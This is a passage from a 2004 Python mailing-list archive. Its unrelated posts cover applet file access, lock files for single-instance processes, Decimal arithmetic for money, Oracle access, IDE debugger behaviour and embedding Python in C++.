/cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/ccqzXTMH.ld] [Leaving Primes.dll] From python473 at yahoo.com Fri Sep 3 13:05:48 2004 From: python473 at yahoo.com (John Howard) Date: 3 Sep 2004 10:05:48 -0700 Subject: file access in jythonc References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> <9eabe547.0409010600.4d566928@posting.google.com> <9eabe547.0409011314.77bcc7b5@posting.google.com> Message-ID: <9eabe547.0409030905.7d784642@posting.google.com> python473 at yahoo.com (John Howard) wrote in message news:<9eabe547.0409011314.77bcc7b5 at posting.google.com>... > Alan Kennedy wrote in message news:... > > [John Howard] > > > So does that mean that a jre does not have to be on the local pc? > > > > No: there *must* be a JRE on the local PC: how could the java/jython run > > at all without an execution environment? > > > > The JRE on the local PC is the very thing that is preventing you from > > reading files from local drives. > > > > If you want to, you can permit any and all applet to load files from > > your local drive. In Internet Explorer, select > > "Tools->Options"->Security->Custom Level->Microsoft VM->Java > > Permissions->Custom->Java Custom Settings. > > > > In that control panel you can disable all of the protections that your > > browser puts in place to protect you from hostile applets on the > > Internet at large. Feel free to dismantle those security barriers, at > > your own risk: by doing so you're opening the contents of your hard-disk > > to the world. I Hope you're not storing any private or sensitive > > information on there. > > > > > The local pc does not have to set policies, etc. > > > > No, that's precisely where you set policies. Where else could they be set? > > > > Alternatively, as others have pointed out multiple times, you can > > digitally sign your applets so that they can be recognized and thus > > given more permissions than unknown applets. > > I said jre, but meant jvm. But your answer is revealing also! From > what you are saying, it is NOT possible to have a html page that can > access a local file unless at least a jre is present. Again, not good. > I think I'll just write the whole project in C. Forget jython! You know, maybe I am making too much of this. I am thinking - if a jre is there, why not just run the program as a java program?! Just have the client load the jre and that should do it. Am I not correct? Having thought the whole C thing over, python is still the way to go. I apologise for being so nasty. I really did not mean to offend anyone. You took time to respond and I do appreciate it. Thanks!! From claird at lairds.com Thu Sep 30 23:38:18 2004 From: claird at lairds.com (Cameron Laird) Date: Fri, 01 Oct 2004 03:38:18 -0000 Subject: Concurrency models and implementation concerns (was: socket function that loops AND returns something) References: Message-ID: <10lpk9ajgiaun1d@corp.supernews.com> In article , I offered: >In article , >Bryan Olson wrote: > . > . > . >> > Do you intend that readers believe that it "is perfectly >> > reasonable" to design in terms of a single Python process >> > which manages up to "a thousand simultaneous *Python* >> > threads"? >> >>Yes. >Thank you for this and your other unambiguous clarifications. > >My daily world includes several Win* boxes running on 100-200 MHz >*86 processors, with memory ranging from 32 Mb up. Perhaps I >should make time during the next month to write and run a few >benchmarks applicable to my needs; I confess I haven't done so for >the case of a thousand simultaneous Python threads. > . > . > . Do http://groups.google.com/groups?th=181172231bcfb4a and especially http://groups.google.com/groups?frame=left&th=4e2e83a9ad69f788 make my hesitation about reliance on kilothreads on older platforms more understandable? -- Cameron Laird Business: http://www.Phaseit.net From benji at benjiyork.com Wed Sep 29 23:39:25 2004 From: benji at benjiyork.com (Benji York) Date: 29 Sep 2004 20:39:25 -0700 Subject: Support for ODBC for Oracle through Python on solaris References: <1880e162.0409290434.6a3279db@posting.google.com> Message-ID: nagendra.swamy at gmail.com (Nagendra) wrote in message news:<1880e162.0409290434.6a3279db at posting.google.com>... > I need to access an Oracle database through a python script using ODBC > drivers(currently i have eval copies of Easysoft and datadirect Oracle > ODBC drivers). > Desired platforms are solaris, linux. If your database resides on a Windows server, take a look at ODBTP (http://odbtp.sourceforge.net/) and my Python DB API bindings for it (http://benjiyork.com/odbtp.html). If not, and mxODBC doesn't work (which, it should), consider building your own interface using somthing like ctypes. -- Benji York http://benjiyork.com From nico-NoSp at m-tekNico.net Fri Sep 17 16:46:13 2004 From: nico-NoSp at m-tekNico.net (Nicola Larosa) Date: Fri, 17 Sep 2004 22:46:13 +0200 Subject: Scribus could have been written in Python Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I find the following excerpt fairly sad... (right before the screenshot): "The first version of Scribus used Python, with the Python bindings for Qt. Schmid says he chose Qt as the GUI toolkit because he felt it was the best one at the time (three years ago), with the most accurate documentation. As he added features, though, he concluded that Python had a few shortcomings. He switched to C++ to improve Scribus's speed." "Looking back now, I still think that Python is a wonderful tool for quickly getting a mock-up running," Schmid says. "And translating Python code to C++ is very easy. When I ported Scribus to C++, there were huge chunks of code that needed only minor modifications." Scribus: Open Source Desktop Publishing http://www.linuxdevcenter.com/lpt/a/5096 Well, at least Twisted isn't written in Java. Thanks a bundle, Glyph. :-) - -- Nicola Larosa - nico-NoSp at m-tekNico.net "Laugh. But you too are going to sound like and old fart one day. And the respect you show or don't show for those that came before you is going to be what you instill in those that come after you." -- EvilTwinSkippy, Slashdot, June 2004 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQFBS00YXv0hgDImBm4RAljqAJ0T2yCAbHtcXsK1xl+lfeyI/xF7rgCdF+/5 w9pKZiJbvVYWuwoCOS3dL/o= =9K7E -----END PGP SIGNATURE----- From zanesdad at bellsouth.net Wed Sep 29 14:14:31 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 14:14:31 -0400 Subject: multiple instance on Unix In-Reply-To: References: Message-ID: <415AFB87.6080208@bellsouth.net> Batista, Facundo wrote: > [Nigel King] > > #- I have (my son has!) implemented protection against multiple > #- instances > #- causing havoc by creating a directory. This fails if it > #- exists and thus > #- in a single instruction one gets both the acquire and the test. > > Multiple instances of objects? Multiple instances of processes? > > I needed to not have the same process twice and wrote the following: > > > def controlSimult(coderr=-1): > """Function that verifies that there's not other process (of > itself) already in memory.""" > > # do a ps > (stdin, stdout) = os.popen4('ps -eaf') > ps = stdout.readlines() > > # search instances of ourselves > abuscar = sys.executable + ' ' + sys.argv[0] > coinc = [x[:-1] for x in ps if x.find(abuscar) != -1] > > # there's more than us-now? > if len(coinc) > 1: > print "There're more simultaneously in memory:" > # show only that are not us > ownpid = os.getpid() > print '\n'.join([x for x in coinc if int(x.split()[1]) > != ownpid]) > sys.exit(coderr) > return > > There's a better way? > > . Facundo > In *NIX systems, can't you alias how process names show up in the process table? I'm not sure if processes are self-aware of what they really are, or if they are aware of only the alias, you could also use a lock file. Something like: * Upon starting the process, look to see that the lock file does not exist - if it does, exit and log an error. (If the file exists, it means either another instance of the process is already running, or one was and it uncleanly shut down.) * Write your own pid to the lock file you were looking for in the previous step. Only problem here is how to open the file in write mode and fail if the file already exists (for pathological cases where you first check for the file and another process checks at nearly the same time, and one of the processes opens the file in write mode after the other process checks for it and before the other process itself opens the file in write mode - wow, what a runon sentence). * Do stuff * Delete the file when you're done Yeah - it's got problems, but so does nearly any other way of making sure two processes don't step on each other. Maybe a lock directory is a good way of doing it after all. Maybe something like the code I just posted: import time import os waiting_for_lock = 1 while waiting_for_lock: try: os.mkdir('/tmp/foo') waiting_for_lock = 0 except OSError: print "could not create directory" time.sleep(1) Maybe even write your pid in a file in the directory once you are past the while loop. Having the interpreter throw an exception when you try to do something like create a directory could come in handy in such a case as this. Jeremy Jones -------------- next part -------------- An HTML attachment was scrubbed... URL: From jerf at jerf.org Sat Sep 18 13:29:26 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sat, 18 Sep 2004 17:29:26 GMT Subject: Math errors in python References: Message-ID: On Sat, 18 Sep 2004 16:50:16 +0000, Radioactive Man wrote: > In python 2.3 (IDLE 1.0.3) running under windows 95, I get the > following types of errors whenever I do simple arithmetic: Specifically (building on DogWalker's reply), http://www.python.org/doc/faq/general.html#why-are-floating-point-calculations-so-inaccurate From elainejackson7355 at home.com Fri Sep 24 19:09:45 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 24 Sep 2004 23:09:45 GMT Subject: Open Education in Python References: <10l959t466bgde8@corp.supernews.com> Message-ID: "Maboroshi" wrote in message news:10l959t466bgde8 at corp.supernews.com... | Hi I was interested in starting an online open education center focusing | on the Python language. | Any ideas questions comments should be ... posted to this message Sounds like a good idea. From zhuangzy at cn.ibm.com Mon Sep 20 22:57:08 2004 From: zhuangzy at cn.ibm.com (John Zhuang) Date: Tue, 21 Sep 2004 10:57:08 +0800 Subject: Python for Perl programmers? References: Message-ID: <414f98a5@news01.argolink.net> Perl To Python Migration By Martin C. Brown Publisher : Addison Wesley Pub Date : November 01, 2001 ISBN : 0-201-73488-5 Pages : 320 -- John Zhuang Integrated Technology Services Advisory IT Specialist zhuangzy at cn.ibm.com "Markus Dehmann" ???? news:c1e48b51.0409201820.217e1dd at posting.google.com... > I am using perl for everything, even bigger programs, with objects, > uh, modules and stuff. I know pretty much every trick in perl and have > a lot of experience. > > But I'd like to try a cleaner language, where you don't have to type > so much crap to create a class etc. So, I wanna give python a try. > > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, > take all the words, put them in a hash, do something with them, print > the result in a formatted way, write it to a new file etc. Create a > class that downloads newsgroups, etc. Things like that. > > I don't need long explanations, but just the perl code and the > corresponding python code. Maybe that even helps seeing: ah, python is > much cleaner, or shorter, or whatever. > > I mean, if I want to learn French and I already know a lot about > languages, it's probably good not to learn all the grammar, but just > to take an English book and the French translation, and learn from it. > I want to do the same to learn python. > > Thanks for every hint! > Markus From nick at craig-wood.com Thu Sep 30 07:30:13 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 30 Sep 2004 11:30:13 GMT Subject: Avoiding shell metacharacters in os.popen References: Message-ID: Michael Hoffman wrote: > Nick Craig-Wood wrote: > > > As I pointed out in my post there isn't an equivalent for > > os.popen* which doesn't go via the shell (except for undocumented > > os.popen2). > > Is it the undocumented nature of it that is unnerving you? Yes! If it was documented then it would have to be made to work on Windows too I gues. > I submitted a bug on the documentation more than six months ago but no > one has responded. > > http://sourceforge.net/tracker/?func=detail&aid=907457&group_id=5470&atid=105470 At least it is in the system. -- Nick Craig-Wood -- http://www.craig-wood.com/nick From mailtome200420032002 at yahoo.com Tue Sep 7 13:45:12 2004 From: mailtome200420032002 at yahoo.com (john) Date: 7 Sep 2004 10:45:12 -0700 Subject: python mysql and xml References: <4c900ea0.0409062109.391d04de@posting.google.com> <39cbe663.0409070159.28b77755@posting.google.com> Message-ID: <4c900ea0.0409070945.760a9ea8@posting.google.com> pit.grinja at gmx.de (Piet) wrote in message news:<39cbe663.0409070159.28b77755 at posting.google.com>... > mailtome200420032002 at yahoo.com (john) wrote in message news:<4c900ea0.0409062109.391d04de at posting.google.com>... > > Hi > > I have my data stored in mysql database and now I want to store them as XML. > > Are there any tools or library available for this? > > Thanks. > Hi there, > that?s a feature already built in mySQL (AFAIK). > However, since both the structure of a mySQL database and of an XML > file can be quite variable, when you want to have your data in a > specific XML dialect I suggest that you write your own mySQL->XML > conversion tool. Should be possible in less than 100 lines. > BW > Piet Hi I want to select only selected data from mysql database. From frithiof.jensen at die_spammer_die.ericsson.com Wed Sep 15 08:20:46 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Wed, 15 Sep 2004 14:20:46 +0200 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: "Hans Nowak" wrote in message news:W8L1d.2012$7d6.1461 at fe39.usenetserver.com... > One needs a high-end PC to edit code now? Specify "code" - and "high end"; otherwise you do not say much! Depends; If, f.ex. - for reasons of corporate culture and productivity - one has to run Rational Rose RT with C++, the *biggest* box you can possibly lay your clammy hands on *now* is just about underspec'ed!!! If plain "Idle" is the tool you prefer, I could get my old Slackware 486/66 with 4 MB RAM down from the loft for you! From szmyd at colostate.edu Thu Sep 9 23:08:49 2004 From: szmyd at colostate.edu (Brian Szmyd) Date: Thu, 09 Sep 2004 21:08:49 -0600 Subject: Using regular expressions to extract substrings from files References: Message-ID: Timothy Hume wrote: > Hi, > > I am new to Python, and was wondering if it is possible to operate on > files using regular expressions. > > What I mean is this: > - It is easy to search for a substring of a string using regular > expressions > - Can I also search for a substring inside a file using regular > expressions? The substrin g may span several lines (ie there may be > embedded new line and carriage return characters). > > So far, the only way I know how to do this is to read the entire file into > a string, and then parse the resulting string with regular expressions. > This is OK for small files (in fact it is probably quite efficient, > because the disc I/O is done all at once). However, once the files get > large, there is the risk I will run out of memory. The closest UNIX tool I > can think of to do this sort of job is grep, but that doesn't have the > power and flexibility of Python. > > Any ideas would be appreciated. > > Tim Hume > Bureau of Meteorology Research Centre > Melbourne > Australia You could always call grep from python if that will work for you, otherwise you'll probably have to read in the file using some buffer and check the buffer each time, problem is, what if it spans two buffers right? As for spanning lines, they fall under the category of "whitespace", so allowing them in your regular expression would be appropriate. -regards brian szmyd From d-hanst at online.no Sun Sep 5 11:40:36 2004 From: d-hanst at online.no (Dag Hansteen) Date: Sun, 5 Sep 2004 17:40:36 +0200 Subject: Need some help with this.. Message-ID: <01b601c4935e$b0935130$4e01a8c0@dagan> Hi! I have a problem, This part is from a program that tweeks text, like making "My text here and click enter" into "M? t??t h?r? ??? k|?kk ??t?r". This is the part of code where the error is, any answer appreciated: def OnInput(self, event): curtext = event.GetString() table = maketrans('abceiousxynldhABCEIOUSXYNLDH', '??k????z???|?h??k????z???|?h') outtext = curtext.translate(table) t2.SetValue(outtext) error I get is: Traceback (most recent call last): File "C:\Mine dokumenter\Python\temporary\TextTweeker.py", line 91, in OnInput outtext = curtext.translate(table) TypeError: character mapping must return integer, None or unicode anyone? best regards Dag Hansteen -------------- next part -------------- An HTML attachment was scrubbed... URL: From aleaxit at yahoo.com Wed Sep 22 13:27:02 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 19:27:02 +0200 Subject: Why not FP for Money? References: <1l23l01tkbhssc4uh72fps5u9o6ijc2t4f@4ax.com> <1gkj1fd.1s0j05667twjjN%aleaxit@yahoo.com> Message-ID: <1gkj4fl.v82f5y1fgufy8N%aleaxit@yahoo.com> Christos TZOTZIOY Georgiou wrote: ... > >as with float: each of 'amount' and 'vat' (in Euro) has a fraction of a > >eurocent that is less than 0.5 (about 0.4 eurocents each), and you don't > >round them to eurocents before summing, so the total ends up with a > >fraction of a eurocent that is _more_ than 0.5. So the final numbers ... > session, the results were correct since I had earlier issued (after > trial and error) a > > decimal.getcontext().prec=6 > > which I didn't include my post (forgetting about its importance). > Hence, you are correct saying that my confidence in the Decimal type > should not be absolute. We do agree on this, particularly because the 'prec=6' happens to work only depending on how many digits are in play BEFORE the decimal point. What we'd _really_ want to specify is 'keep exactly two digits AFTER the decimal point, no matter how many there are BEFORE', but that's not decimal's job -- it's still a floating point type, albeit decimal, NOT a fixed-point one. Maybe we do need a fixed-point-decimal for 2.5...? Alex From cousinstanley at hotmail.com Sat Sep 18 12:34:36 2004 From: cousinstanley at hotmail.com (Cousin Stanley) Date: 18 Sep 2004 16:34:36 GMT Subject: uncompressed size of .gz file References: Message-ID: <2r36csF15eqb1U1@uni-berlin.de> 2004-09-16, frankabel at tesla.cujae.edu.cu .... > Hi! > What python function give me the uncompressed size of .gz file like > "gzip -l name_of_compress_file". > Thank Frank .... You might try calling gzip -l using the os.popen function .... import os path_in = '/path/to/some_file.gz' pipe_in = os.popen( 'gzip -l %s' % path_in ) list_1 = pipe_in.readlines() list_2 = list_1[ 1 ].split() c , u , r , n = list_2 print '\n ' , c , u , r , n , '\n' -- Cousin Stanley Human Being Phoenix, Arizona From dperl at rogers.com Wed Sep 1 13:47:52 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 17:47:52 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: "Mel Wilson" wrote in message news:sweNBls/KXoF089yn at the-wire.com... > In article <8JbZc.140699$UTP.23045 at twister01.bloor.is.net.cable.rogers.com>, > I think the difference between: > > class B (A): > def __init__ (self, ...) > ... B related stuff > A.__init__ (self, ...) > > > class B (A): > def __init__ (self, ...) > A.__init__ (self, ...) > ... B related stuff > > > class B (A): > def __init__ (self, ...) > ... B related stuff > A.__init__ (self, ...) > ... more B related stuff > > > shows that it's simplest just to code what you want done.. > and that's without looking at multiple inheritance, > or different argument lists between A's and B's __init__. Very good point. I would usually assume that you should initialize the superclass's attributes first, and then the subclass's. But that may not always be the intent and I may just be influenced by my background in C++ and Java. And yes, with multiple inheritance, you definitely have to know what attributes are defined in each superclass and you may have to choose which __init__'s to use and in what order. It's not that C++ handles multiple inheritance any better (that's one case where "implicit" can make things worse). I used to work in a big company where it was actually a rule not to use C++ multiple inheritance (which makes sense in a way because, even if you use it correctly, someone else may take over your code later and may have trouble with it, so a conservative company may not want to take a risk with that). And Java simply solves the problem by not allowing multiple inheritance (you can 'implement' several 'interfaces', but you can 'extend' only one 'class'). I guess that in Python, everything being public, you have to think of attributes as being part of the public interface. So you have to know the attributes of a superclass in order to inherit from it. After all, it's the same thing with public data members in C++ and Java. But that's why those languages recommend to make all data members non-public. It's interesting to compare languages like that. There is an interesting book, "An Introduction to Object-Oriented Programming", by Timothy Budd. I read the 2nd edition, a long time ago. I see there is a 3rd edition now, published in 2001. It explains OO concepts and compares them over several languages. A little hard to read sometimes, but still interesting. I see that even the 3rd edition does not cover Python. Maybe a 4th edition? Dan From fng at OrthancSoftware.com Mon Sep 13 14:49:18 2004 From: fng at OrthancSoftware.com (Freeman Ng) Date: Mon, 13 Sep 2004 11:49:18 -0700 Subject: PocketPc Installer In-Reply-To: <41459023.5000808@cenix-bioscience.com> Message-ID: > when people write apps for handhelds (specifically Win CE handhelds) what do you use for installers As a Python newbie, I'm thrilled to come across a question I can answer! I create my CE installers using cabwiz, which comes with the freely downloadable eMbedded Visual C++ package, but which can install any kind of file, including binaries not created by msft tools. The general procedure is to create an .inf file defining which files get installed where and what registry settings to set up, run cabwiz to create the .cab file, create an .ini file pointing to the .cab file, then write a simple Windows app that will find CEAppMgr.exe through the registry key HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\App Paths\CEAppMgr.exe and launch it, passing it the .ini file on the command line. You can easily google up sample .inf and .ini files or documentation for them, or find this stuff on the msft site. Freeman From carribeiro at gmail.com Tue Sep 28 06:49:26 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 28 Sep 2004 07:49:26 -0300 Subject: Wiki on Python and Web Programming? In-Reply-To: <971il0hgt4ubrcd396figprevcvmh5epfn@4ax.com> References: <971il0hgt4ubrcd396figprevcvmh5epfn@4ax.com> Message-ID: <864d37090409280349b0e0cc8@mail.gmail.com> On Mon, 27 Sep 2004 23:32:04 -0700, Tim Roberts wrote: > Isn't there a wiki somewhere that compares and contrasts the various web > architectures available for Python? > > I've realized that I have built web sites based on at least 4 of the > popular contenders, and my experiences might be valuable to others. I > thought I remembered a comparison wiki, but I can't find it now. Please, share it with us! That's a point where I think that the quantity is hurting Python; not because the quality of the tools is bad; most are probably more than good enough, or even excellent for some applications. But sometimes it seems that each one is going a different way, and it makes learning and choosing a web engine harder than necessary. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Wed Sep 8 12:27:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 18:27:16 +0200 Subject: Remove items from a list References: <9YvPBls/KvrF089yn@the-wire.com> <0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com> <6oauj091vuqmgo4hsec9gf0ov81qe5ut72@4ax.com> Message-ID: <1gjt43t.km84a7ur9ze3N%aleaxit@yahoo.com> Dennis Lee Bieber wrote: ... > And I'm not sure what Python does on the end of the list; is the > termination dynamic (ie, it stops whenever the shortened list ends) or > is based on the original length... The former: it's based on an IndexError being raised when the index becomes too big for the list (so a nice MemoryError will result from for x in mylist: mylist.append(x) but that's another issue;-). Alex From pf_moore at yahoo.co.uk Tue Sep 28 13:49:50 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Tue, 28 Sep 2004 18:49:50 +0100 Subject: Oracle Access via cx_Oracle References: Message-ID: "Greg Lindstrom" writes: > Hello > - > I am trying to connect to an Oracle database on an HP-9000 via Python 2.3 > and cx_Oracle. I have set the following in my python routine: > > os.putenv('ORACLE_HOME', '/u01/app/oracle') Shouldn't this be '/u01/app/oracle/product/9.2.0' ? Based on the following values, that's what I'd expect. But anyway, I'd normally have these set in my environment rather than using putenv. Does SQL*Plus work to get at the database? Paul -- Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clarke From db3l at fitlinxx.com Tue Sep 28 12:44:20 2004 From: db3l at fitlinxx.com (David Bolen) Date: 28 Sep 2004 12:44:20 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> <4157FD67.80404@holdenweb.com> Message-ID: "Dan Perl" writes: > "Marco Aschwanden" wrote in message > news:mailman.3996.1096354841.5135.python-list at python.org... > > On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl wrote: > > > > I myself felt disturbed by your comments on WingIDE. But yes, I do > > understand your nagging on "false exceptions" which can be turned off. You > > turned it down because of this and because the short trial period (which > > can be prolonged with 1 button click)... well, it didn't seem fair towards > > the tool. It has its shortcomings but the ones you mention are ridiculous. > > The 10 day trial period just gave me a bad first impression and the > explanations for the false positives just left me with a bad taste. I gave > up on Wing because of the false positives (their simple existence, even > without the explanations) and the lack of a class browser. I encountered > the false positives first and I almost gave up right there. But it was just > the first day and I thought I should look more. Like you say, I wanted to > be fair. When I found that the class browser is not supported in the > Personal edition I threw my arms in the air. For whatf it's worth, the "false positives" you refer to was a significant reason that I really liked Wing. If you ever use any code that runs Python through an extension boundary (my key use is with wxPython, where all of your GUI objects and event handlers run from within the wxPython extension), Wing is one of the few debuggers that catches exceptions in that code. That's because normally the exceptions are handled by the wxPython extension module, and then suppressed so that they don't kill the main event loop. In my experience, there are minimal other false positives that a normal application triggers (a consistent one I recall was in the sre code), although the current 2.0 beta may still be getting tuned with respect to its default "known" list, and I was more than willing to mark those to be ignored in order to be able to be sure of catching any exceptions within my own code, regardless of whether it was triggered through an extension or not. >(...) > My "nagging" on the false positives is mostly on the spin that Wingware puts > in their explanations. It's one thing to explain it the way that Stephan > did, that it was better to offer something imperfect if that was also > providing some important advantages and then also offer the other > alternative ("We weighed having a necessarily imperfect but useful feature > with not having the feature at all."). And it's another thing to insist > that this is not a problem and it is actually good for you. This doesn't > seem to bother other people as much as it bothered me, but I do have a beef > with it. The actually good for you part is arguably true, since otherwise you have the potential to be generating exceptions in your own code and not even know it. But I agree that different people will react differently (note how differently you and I reacted to this feature), so the more that can be done to explain the feature (and its configurability) the better. -- David From nobody at hotmail.com Mon Sep 27 19:53:16 2004 From: nobody at hotmail.com (Maboroshi) Date: Mon, 27 Sep 2004 16:53:16 -0700 Subject: Open Education in Python In-Reply-To: <10l959t466bgde8@corp.supernews.com> References: <10l959t466bgde8@corp.supernews.com> Message-ID: <10lha1drq9pr7a5@corp.supernews.com> Hey Thanks thats cool that there is some people out there who think this is a good idea I am writing a game plan write now hopefully everything will work out Cheers Andrew From jacek.generowicz at cern.ch Mon Sep 27 07:33:33 2004 From: jacek.generowicz at cern.ch (Jacek Generowicz) Date: 27 Sep 2004 13:33:33 +0200 Subject: Metaclass with name overloading. Message-ID: I would like to write a metaclass which would allow me to overload names in the definition of its instances, like this class Foo(object): __metaclass__ = OverloadingClass att = 1 att = 3 def meth(self): pass def meth(self, arg): return arg I would then like the dictionary received by OverloadingClass.__new__ to look something like this: {'att': (1,3), 'meth: (, ) } IOW, each name bound in the class definition should have associated with it, a tuple containing all the objects which were bound to that name, rather merely keeping the most recent binding for any given name. I was wondering whether it would be possible to achieve this by forcing Python to use some dicitonary proxy (which accumulates values, rather that keeping just the last value to be associated with a key), instead of dict, when executing the class definiton? Is something like this at all possible in pure Python? or does in require fiddling around in the guts of the parser? From jcarter at johmar.engr.sgi.com Mon Sep 20 14:21:40 2004 From: jcarter at johmar.engr.sgi.com (Jack Carter) Date: Mon, 20 Sep 2004 11:21:40 -0700 (PDT) Subject: namespace/dictionary quandry In-Reply-To: Peter Otten <__peter__@web.de> "Re: namespace/dictionary quandry" (Sep 18, 10:54am) References: Message-ID: <10409201121.ZM968387@johmar.engr.sgi.com> Peter, I guess I just don't understand. Basically this is to go into a tool that accepts commandline arguments, one at a time, but will also allow scripting for testing purposes. Thus the desire to leverage off python for the commandline interface, but not for the whole program. The input from the user will be either from the console or read from a command file. A simple example of what could be entered is: bosco=5 if 1: print bosco attach bosco 9 bosco=7 print bosco attach bosco 9 The result I would expect would be for my DoAttach() routine to receive the python evaluated value of each of the arguments leaving the ones that it doesn't understand alone. Whether this happens automagically or by hand I don't care as long as I get what right value. In the above trying to follow your advice, remembering that at this stage of the game I am probably missing the point, this is the result I expect: johmar % demo.py >>> bosco=5 >>> if 1: ... print bosco ... attach bosco 9 ... bosco=7 ... print bosco ... attach bosco 9 ... 5 DoAttach: [5, 9] 7 DoAttach: [7, 9] This is what I get: johmar % demo.py >>> bosco=5 >>> if 1: ... print bosco ... attach bosco 9 ... bosco=7 ... print bosco ... attach bosco 9 ... 5 DoAttach: ['bosco', '9'] 7 DoAttach: ['bosco', '9'] Now I realize that this is probably due to the fact that I have the lines: if white_spaces: line = front_padding + "myparse." + function + "(" + str(args) + ")" else : line = "myparse." + function + "(" + str(args) + ")" which put make the arguments strings, but that is because I don't know how to appropriately pack the "line" for later parsing. Maybe that is the crux of my problem. Remember, there will be many commands for my tool and the arguments will be variable length and this code will not know what variables the gentle use would use. Here is the simplified code with hopefully the tabs expanded base on your earlier input. Hopefully you'll see the obvious error of my way and point it out. Thanks ever so much, Jack ********************************** demo.py ********************************** #!/usr/bin/env python import myparse cli = myparse.CLI(globals()) cli.interact() ********************************** myparse.py ********************************** import code import re import string import sys ################################################################################ # # DoAttach # # Dummy function that I will eventually use to do # real stuff. # ################################################################################ def DoAttach(args): print "DoAttach:", args pass class CLI(code.InteractiveConsole): """Simple test of a Python interpreter augmented with custom commands.""" commands = { \ "attach" : "DoAttach" } def __init__(self, locals = None): # Call super-class initializer code.InteractiveConsole.__init__(self, locals, "") # Compile regular expression for finding commmands self.regexp = re.compile('[a-z]*') ################################################################## # # interact # # This will read and process input lines from within # my main application as though on a python commandline. # ################################################################## def interact(self): # Set the primary and secondary prompts sys.ps1 = ">>> " sys.ps2 = "... " # Input Loop is_more = 0 bosco = 0 while 1: try : # Display the appropriate prompt if not sys.stdin.isatty(): prompt = "" elif is_more: prompt = sys.ps2 else: prompt = sys.ps1 # Read the next line of input #self.write("interact 1\n") line = self.raw_input(prompt) # TODO: add logging of input line here... # Process complete lines if 1: line = self.process(line) # Push incomplete lines onto input stack if line or is_more: is_more = self.push(line) # Handle CTRL-C except KeyboardInterrupt: self.write("\nKeyboardInterrupt\n") is_more = 0 self.resetbuffer() # Handle CTRL-D except EOFError: self.write("\n") is_more = 0 self.resetbuffer() raise SystemExit ################################################################## # # process # # This will determine if the input command is either # from my application's command language or a python # construct. # ################################################################## def process(parent, line): # Attempt to match line against our command regular expression temp_line = string.lstrip(line) len_1 = len(line) len_2 = len(temp_line) white_spaces = len_1-len_2 if white_spaces: front_padding = line[0:white_spaces] match = parent.regexp.match(temp_line) if match is not None: #parent.write("process 1\n") # Extract the command and argument strings cmd_string = match.group() arg_string = string.lstrip(temp_line[match.end():]) # Find the function for this command in the command dictionary function = parent.commands.get(cmd_string) if function is not None: # Split argument string into individual arguments args = string.split(arg_string) # Convert to Python function-call syntax for this command if white_spaces: line = front_padding + "myparse." + function + "(" + str(args) + ")" else : line = "myparse." + function + "(" + str(args) + ")" # Return the line to be processed by Python return line From adalke at mindspring.com Wed Sep 22 15:48:21 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 22 Sep 2004 19:48:21 GMT Subject: How to count lines in a text file ? In-Reply-To: References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> Message-ID: <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> Bengt Richter wrote: > or, if you _are_ willing to read in the whole file, > > open('text.txt').read().count('\n') Except the last line might not have a terminal newline. Andrew dalke at dalkescientific.com From bsmatt at gmail.com Fri Sep 17 10:12:14 2004 From: bsmatt at gmail.com (Brian Matt) Date: Fri, 17 Sep 2004 09:12:14 -0500 Subject: Finding a python object in c++ In-Reply-To: <20040917004949.GA4257@unpythonic.net> References: <20040917004949.GA4257@unpythonic.net> Message-ID: Initially I was confused by your response because of my lack of knowledge of how the Python interpreter works. I did a bit more research and things are much more clear. My biggest problem was not understanding how all defined objects are stored in the dictionary for the imported module. Once I figured this out I was able to use the following code to get f1 and call func. //Assume python initialized and module imported dict = PyModule_GetDict(module); PyObject* pInst = PyDict_GetItemString(dict, "f1"); if(pInst) { PyObject *pValue; pValue = PyObject_CallMethod(pInst, "func", ""); if(pValue) { Py_DECREF(pValue); } } Note: this code doesn't handle error situations like making sure the pInst variable is an instance object Thanks, BSMatt On Thu, 16 Sep 2004 19:49:50 -0500, jepler at unpythonic.net wrote: > Access the 'im_self' attribute of the bound function object. In C, > I suppose this is something like > PyObject_GetAttrString(bound_m, 'im_self') > > >>> class F: > ... def m(self): pass > ... > >>> f = F() > >>> bound_m = f.m > >>> dir(bound_m) > ['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__repr__', '__setattr__', '__str__', 'im_class', 'im_func', 'im_self'] > >>> bound_m.im_self 